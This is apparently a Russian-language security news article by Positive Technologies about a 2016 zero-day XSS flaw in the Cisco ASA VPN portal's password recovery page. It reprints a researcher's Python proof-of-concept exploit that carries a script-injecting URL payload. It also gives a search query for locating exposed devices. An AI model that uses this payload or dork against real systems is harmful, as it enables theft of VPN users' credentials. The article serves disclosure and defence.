XSS-уязвимость нулевого дня позволяет похищать учетные данные пользователей Cisco ASA

XSS-уязвимость нулевого дня позволяет похищать учетные данные пользователей Cisco ASA

В начале февраля 2016 года в сеть попала информация о критической уязвимости межсетевых экранов Cisco ASA, которая позволяет злоумышленникам осуществлять удаленное выполнение кода. Спустя несколько дней после ее исправления, в этом продукте была обнаружена еще одна серьезная ошибка безопасности.

Автор: Positive Technologies

В начале февраля 2016 года в сеть попала информация о критической уязвимости межсетевых экранов Cisco ASA, которая позволяет злоумышленникам осуществлять удаленное выполнение кода. Спустя несколько дней после ее исправления, в этом продукте была обнаружена еще одна серьезная ошибка безопасности. 

17 февраля исследователь Хуан Сакко опубликовал информацию об уязвимости нулевого дня, с помощью которой, при определенных обстоятельствах, злоумышленник может похитить учетные данные пользователя устройства.

XSS-уязвимость содержится на странице восстановления пароля VPN-портала Cisco ASA. Кража учетных данных пользователей возможна из-за некорректной работы механизма фильтрации полей ввода в форме восстановления пароля (подробнее об уязвимостях этого типа на Хабре уже писали). 

Для успешной эксплуатации уязвимости в скрытых полях ввода необходимо, чтобы пользователь Cisco ASA с помощью браузера FireFox перешел по специально сгенерированной злоумышленником ссылке на страницу восстановления пароля VPN-портала (в Chrome эксплуатировать ошибку не удастся) и использовал на ней комбинацию клавиш Alt + Shift + X.

Хуан Сакко опубликовал PoC-эксплоит, демонстрирующий эксплуатацию данной уязвимости:

import string, sys
import socket, httplib
import telnetlib

def run():
try:
Target = sys.argv[1]
Port = int(sys.argv[2])
# Here goes your custom JS agent code
Payload = "alert(1)"
VulnerableURL ="/+CSCOE+/logon.html?
reason=2&a0=63&a1=&a2=&a3=0&next=&auth_handle=&status=0&
username=juansacco%22%20accesskey%3dX%20onclick%3d"+ Payload +
"%20sacco&password_min=0&state=&tgroup=&serverType=0&password_"
CraftedRequest = VulnerableURL
# Start the connection
connection = httplib.HTTPSConnection(Target)
connection.request('GET', CraftedRequest)
Response = connection.getresponse()
print "Server status response:", Response.status, Response.reason
data = Response.read()
vulnerable = "Target is not vulnerable"
for line in str(data).splitlines():
if "juansacco\\\"" in line:
vulnerable = "Targer is vulnerable"
if vulnerable != "Not vulnerable":
print "Result of the test:", vulnerable
# Find the injection on the response
connection.close()
except Exception,e:
print "Exploit connection closed " + str(e)

if __name__ == '__main__':
print "Cisco VPN ASA Exploit - Zero Day"
print "################################"
print "Author: Juan Sacco - jsacco@exploitpack.com"

try:
Target = sys.argv[1]
Port = sys.argv[2]
except IndexError:
pass

Как выяснилось впоследствии представленный код содержал опечатки в коде, а в URL не хватало пробела. После исправления этих недочетов становится возможна эксплуатация уязвимости:





В комментариях к эксплоиту Сакко отмечает, что передал информацию об уязвимости представителям Cisco 4 февраля 2016 года, после публикации соответствующей CVE, 16 числа исследователь распространил информацию об ошибке вместе с эксплоитом. 

Кроме того, Сакко приводит ссылку для поиска уязвимых устройств Cisco ASA с помощью Google —www.google.nl/#safe=off&q=+%2F%2BCSCOE%2B%2F. По его словам поисковик выдает по этому запросу более 18 тысяч ссылок (в настоящий момент — более 24 тысяч).

Найти уязвимые устройства можно также с помощью поисковых систем Shodan и Censys. Специалистам Positive Technologies удалось с их помощью обнаружить более 170 тысяч уязвимых устройств Cisco ASA, более трех тысяч из которых расположены в России.





Для обнаружения описанной Хуаном Сакко уязвимости эксперты Positive Technologies рекомендуют использовать специализированные инструменты защиты — например, систему контроля защищенности и соответствия стандартам MaxPatrol 8.

На протяжении последнего времени исследователи безопасности находили уязвимости не только в продуктах Cisco. К примеру, в конце декабря 2015 года в прессу попала информация о бэкдоре в межсетевых экранах Juniper. Кроме того, в центре скандала оказалась компания-производитель средств защиты Fortinet — в ее продуктах были обнаружены зашитые пароли для удаленного доступа.

310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS